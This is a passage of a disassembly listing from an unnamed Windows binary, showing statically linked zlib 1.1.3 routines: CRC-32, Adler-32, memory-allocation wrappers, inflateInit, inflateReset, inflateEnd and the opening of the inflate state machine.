		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		xor	eax, eax


loc_42D7B7:				; CODE XREF: sub_42D0E6+444j
					; sub_42D0E6+57Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42D0E6	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, offset dword_4346A4
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D7C5	proc near		; CODE XREF: sub_42FB02+1D4p
					; sub_42FB02+29Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jnz	short loc_42D7D5
		xor	eax, eax
		jmp	loc_42D99E
; ---------------------------------------------------------------------------


loc_42D7D5:				; CODE XREF: sub_42D7C5+7j
		mov	eax, [ebp+arg_0]
		xor	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax


loc_42D7DE:				; CODE XREF: sub_42D7C5+18Cj
		cmp	[ebp+arg_8], 8
		jb	loc_42D956
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4346A4[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4346A4[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4346A4[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4346A4[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4346A4[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4346A4[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4346A4[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4346A4[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_8]
		sub	ecx, 8
		mov	[ebp+arg_8], ecx
		jmp	loc_42D7DE
; ---------------------------------------------------------------------------


loc_42D956:				; CODE XREF: sub_42D7C5+1Dj
		cmp	[ebp+arg_8], 0
		jz	short loc_42D998


loc_42D95C:				; CODE XREF: sub_42D7C5+1D1j
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+arg_0]
		xor	ecx, eax
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		shr	edx, 8
		mov	eax, dword_4346A4[ecx*4]
		xor	eax, edx
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		mov	[ebp+arg_8], edx
		cmp	[ebp+arg_8], 0
		jnz	short loc_42D95C


loc_42D998:				; CODE XREF: sub_42D7C5+195j
		mov	eax, [ebp+arg_0]
		xor	eax, 0FFFFFFFFh


loc_42D99E:				; CODE XREF: sub_42D7C5+Bj
		pop	ebp
		retn
sub_42D7C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D9A0	proc near		; DATA XREF: sub_42DD45+133o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		shr	ecx, 10h
		and	ecx, 0FFFFh
		mov	[ebp+var_8], ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_42D9D0
		mov	eax, 1
		jmp	loc_42DC13
; ---------------------------------------------------------------------------


loc_42D9D0:				; CODE XREF: sub_42D9A0+24j
					; sub_42D9A0+265j
		cmp	[ebp+arg_8], 0
		jbe	loc_42DC0A
		cmp	[ebp+arg_8], 15B0h
		jnb	short loc_42D9EB
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_10], edx
		jmp	short loc_42D9F2
; ---------------------------------------------------------------------------


loc_42D9EB:				; CODE XREF: sub_42D9A0+41j
		mov	[ebp+var_10], 15B0h


loc_42D9F2:				; CODE XREF: sub_42D9A0+49j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_8]
		sub	ecx, [ebp+var_C]
		mov	[ebp+arg_8], ecx


loc_42DA01:				; CODE XREF: sub_42D9A0+20Cj
		cmp	[ebp+var_C], 10h
		jl	loc_42DBB1
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+2]
		mov	eax, [ebp+var_4]
		add	eax, edx
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+3]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+4]
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+5]
		mov	eax, [ebp+var_4]
		add	eax, edx
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+6]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+7]
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+8]
		mov	eax, [ebp+var_4]
		add	eax, edx
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+9]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+0Ah]
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+0Bh]
		mov	eax, [ebp+var_4]
		add	eax, edx
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+0Ch]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+0Dh]
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+0Eh]
		mov	eax, [ebp+var_4]
		add	eax, edx
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+0Fh]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		add	eax, 10h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 10h
		mov	[ebp+var_C], ecx
		jmp	loc_42DA01
; ---------------------------------------------------------------------------


loc_42DBB1:				; CODE XREF: sub_42D9A0+65j
		cmp	[ebp+var_C], 0
		jz	short loc_42DBE7


loc_42DBB7:				; CODE XREF: sub_42D9A0+245j
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_C], 0
		jnz	short loc_42DBB7


loc_42DBE7:				; CODE XREF: sub_42D9A0+215j
		mov	eax, [ebp+var_4]
		xor	edx, edx
		mov	ecx, 0FFF1h
		div	ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 0FFF1h
		div	ecx
		mov	[ebp+var_8], edx
		jmp	loc_42D9D0
; ---------------------------------------------------------------------------


loc_42DC0A:				; CODE XREF: sub_42D9A0+34j
		mov	eax, [ebp+var_8]
		shl	eax, 10h
		or	eax, [ebp+var_4]


loc_42DC13:				; CODE XREF: sub_42D9A0+2Bj
		mov	esp, ebp
		pop	ebp
		retn
sub_42D9A0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, offset a1_1_3 ; "1.1.3"
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 2
		sub	eax, [ebp+8]
		mov	eax, off_4332D0[eax*4]
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DC35	proc near		; DATA XREF: sub_42DD45+68o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_42DC4C
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		mov	[ebp+arg_4], ecx


loc_42DC4C:				; CODE XREF: sub_42DC35+7j
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	dword_433208	; calloc
		add	esp, 8
		pop	ebp
		retn
sub_42DC35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DC5F	proc near		; DATA XREF: sub_42DD45+85o

arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		call	dword_4331D4	; free
		add	esp, 4
		pop	ebp
		retn
sub_42DC5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DC71	proc near		; CODE XREF: sub_42DD45+172p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_42DC83
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_42DC8A


loc_42DC83:				; CODE XREF: sub_42DC71+7j
		mov	eax, 0FFFFFFFEh
		jmp	short loc_42DCDA
; ---------------------------------------------------------------------------


loc_42DC8A:				; CODE XREF: sub_42DC71+10j
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+14h], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], 0
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx+0Ch]
		neg	eax
		sbb	eax, eax
		and	eax, 7
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	[edx], eax
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx+14h]
		push	eax
		call	sub_42B04E
		add	esp, 0Ch
		xor	eax, eax


loc_42DCDA:				; CODE XREF: sub_42DC71+17j
		pop	ebp
		retn
sub_42DC71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DCDC	proc near		; CODE XREF: sub_42DD45+FEp
					; sub_42DD45+15Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_42DCF7
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_42DCF7
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+24h], 0
		jnz	short loc_42DCFE


loc_42DCF7:				; CODE XREF: sub_42DCDC+7j
					; sub_42DCDC+10j
		mov	eax, 0FFFFFFFEh
		jmp	short loc_42DD43
; ---------------------------------------------------------------------------


loc_42DCFE:				; CODE XREF: sub_42DCDC+19j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_42DD20
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+14h]
		push	ecx
		call	sub_42C565
		add	esp, 8


loc_42DD20:				; CODE XREF: sub_42DCDC+2Cj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_0]
		call	dword ptr [eax+24h]
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+1Ch], 0
		xor	eax, eax


loc_42DD43:				; CODE XREF: sub_42DCDC+20j
		pop	ebp
		retn
sub_42DCDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DD45	proc near		; CODE XREF: sub_42F940+163p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], offset a1_1_3_0 ; "1.1.3"
		mov	[ebp+var_C], 38h
		cmp	[ebp+var_4], 0
		jz	short loc_42DD76
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		movsx	edx, ds:byte_43786C
		cmp	ecx, edx
		jnz	short loc_42DD76
		cmp	[ebp+var_C], 38h
		jz	short loc_42DD80


loc_42DD76:				; CODE XREF: sub_42DD45+18j
					; sub_42DD45+29j
		mov	eax, 0FFFFFFFAh
		jmp	loc_42DEC1
; ---------------------------------------------------------------------------


loc_42DD80:				; CODE XREF: sub_42DD45+2Fj
		mov	[ebp+var_8], 0FFFFFFF1h
		cmp	[ebp+arg_0], 0
		jnz	short loc_42DD97
		mov	eax, 0FFFFFFFEh
		jmp	loc_42DEC1
; ---------------------------------------------------------------------------


loc_42DD97:				; CODE XREF: sub_42DD45+46j
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], 0
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+20h], 0
		jnz	short loc_42DDBE
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+20h], offset sub_42DC35
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+28h], 0


loc_42DDBE:				; CODE XREF: sub_42DD45+63j
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+24h], 0
		jnz	short loc_42DDD1
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+24h], offset sub_42DC5F


loc_42DDD1:				; CODE XREF: sub_42DD45+80j
		push	18h
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx+20h]
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	[ecx+1Ch], eax
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+1Ch], 0
		jnz	short loc_42DDFE
		mov	eax, 0FFFFFFFCh
		jmp	loc_42DEC1
; ---------------------------------------------------------------------------


loc_42DDFE:				; CODE XREF: sub_42DD45+ADj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx+14h], 0
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax+0Ch], 0
		cmp	[ebp+var_8], 0
		jge	short loc_42DE33
		mov	ecx, [ebp+var_8]
		neg	ecx
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax+0Ch], 1


loc_42DE33:				; CODE XREF: sub_42DD45+D7j
		cmp	[ebp+var_8], 8
		jl	short loc_42DE3F
		cmp	[ebp+var_8], 0Fh
		jle	short loc_42DE52


loc_42DE3F:				; CODE XREF: sub_42DD45+F2j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42DCDC
		add	esp, 4
		mov	eax, 0FFFFFFFEh
		jmp	short loc_42DEC1
; ---------------------------------------------------------------------------


loc_42DE52:				; CODE XREF: sub_42DD45+F8j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [ebp+var_8]
		mov	[eax+10h], ecx
		mov	edx, 1
		mov	ecx, [ebp+var_8]
		shl	edx, cl
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx+0Ch]
		neg	edx
		sbb	edx, edx
		not	edx
		and	edx, offset sub_42D9A0
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42B105
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	[edx+14h], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	dword ptr [ecx+14h], 0
		jnz	short loc_42DEB3
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42DCDC
		add	esp, 4
		mov	eax, 0FFFFFFFCh
		jmp	short loc_42DEC1
; ---------------------------------------------------------------------------


loc_42DEB3:				; CODE XREF: sub_42DD45+159j
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DC71
		add	esp, 4
		xor	eax, eax


loc_42DEC1:				; CODE XREF: sub_42DD45+36j
					; sub_42DD45+4Dj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42DD45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DEC5	proc near		; CODE XREF: sub_42FB02+26Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jz	short loc_42DEE2
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_42DEE2
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 0
		jnz	short loc_42DEEC


loc_42DEE2:				; CODE XREF: sub_42DEC5+Aj
					; sub_42DEC5+13j
		mov	eax, 0FFFFFFFEh
		jmp	loc_42E54D
; ---------------------------------------------------------------------------


loc_42DEEC:				; CODE XREF: sub_42DEC5+1Bj
		xor	edx, edx
		cmp	[ebp+arg_4], 4
		setnz	dl
		dec	edx
		and	edx, 0FFFFFFFBh
		mov	[ebp+arg_4], edx
		mov	[ebp+var_8], 0FFFFFFFBh


loc_42DF03:				; CODE XREF: sub_42DEC5:loc_42E548j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx]
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0Dh
		ja	loc_42E541
		mov	eax, [ebp+var_C]
		jmp	off_42E551[eax*4]


loc_42DF22:				; DATA XREF: TEUm:off_42E551o
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_42DF33
		mov	eax, [ebp+var_8]
		jmp	loc_42E54D
; ---------------------------------------------------------------------------


loc_42DF33:				; CODE XREF: sub_42DEC5+64j
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	[ecx+4], edx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+4]
		and	ecx, 0Fh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		add	eax, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], eax
		cmp	ecx, 8
		jz	short loc_42DFAF
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx], 0Dh
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+18h], offset aUnknownCompres ; "unknown compression method"
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx+4], 5
		jmp	loc_42E548
; ---------------------------------------------------------------------------


loc_42DFAF:				; CODE XREF: sub_42DEC5+C0j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+4]
		shr	ecx, 4
		add	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	ecx, [eax+10h]
		jbe	short loc_42DFF1
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 0Dh
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidWindowS ; "invalid window size"
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx+4], 5
		jmp	loc_42E548
; ---------------------------------------------------------------------------


loc_42DFF1:				; CODE XREF: sub_42DEC5+102j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx], 1


loc_42DFFD:				; CODE XREF: sub_42DEC5+56j
					; DATA XREF: TEUm:0042E555o
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_42E00E
		mov	eax, [ebp+var_8]
		jmp	loc_42E54D
; ---------------------------------------------------------------------------


loc_42E00E:				; CODE XREF: sub_42DEC5+13Fj
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx+4]
		shl	eax, 8
		add	eax, [ebp+var_4]
		xor	edx, edx
		mov	ecx, 1Fh
		div	ecx
		test	edx, edx
		jz	short loc_42E08F
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 0Dh
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+18h], offset aIncorrectHeade ; "incorrect header	check"
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax+4], 5
		jmp	loc_42E548
; ---------------------------------------------------------------------------


loc_42E08F:				; CODE XREF: sub_42DEC5+1A0j
		mov	ecx, [ebp+var_4]
		and	ecx, 20h
		test	ecx, ecx
		jnz	short loc_42E0AA
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 7
		jmp	loc_42E548
; ---------------------------------------------------------------------------


loc_42E0AA:				; CODE XREF: sub_42DEC5+1D2j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 2


loc_42E0B6:				; CODE XREF: sub_42DEC5+56j
					; DATA XREF: TEUm:0042E559o
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_42E0C7
		mov	eax, [ebp+var_8]
		jmp	loc_42E54D
; ---------------------------------------------------------------------------


loc_42E0C7:				; CODE XREF: sub_42DEC5+1F8j
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		xor	ecx, ecx
		mov	cl, [eax]
		shl	ecx, 18h
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	[eax+8], ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 3


loc_42E119:				; CODE XREF: sub_42DEC5+56j
					; DATA XREF: TEUm:0042E55Do
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_42E12A
		mov	eax, [ebp+var_8]
		jmp	loc_42E54D
; ---------------------------------------------------------------------------


loc_42E12A:				; CODE XREF: sub_42DEC5+25Bj
		mov	ecx, [ebp+arg_4]
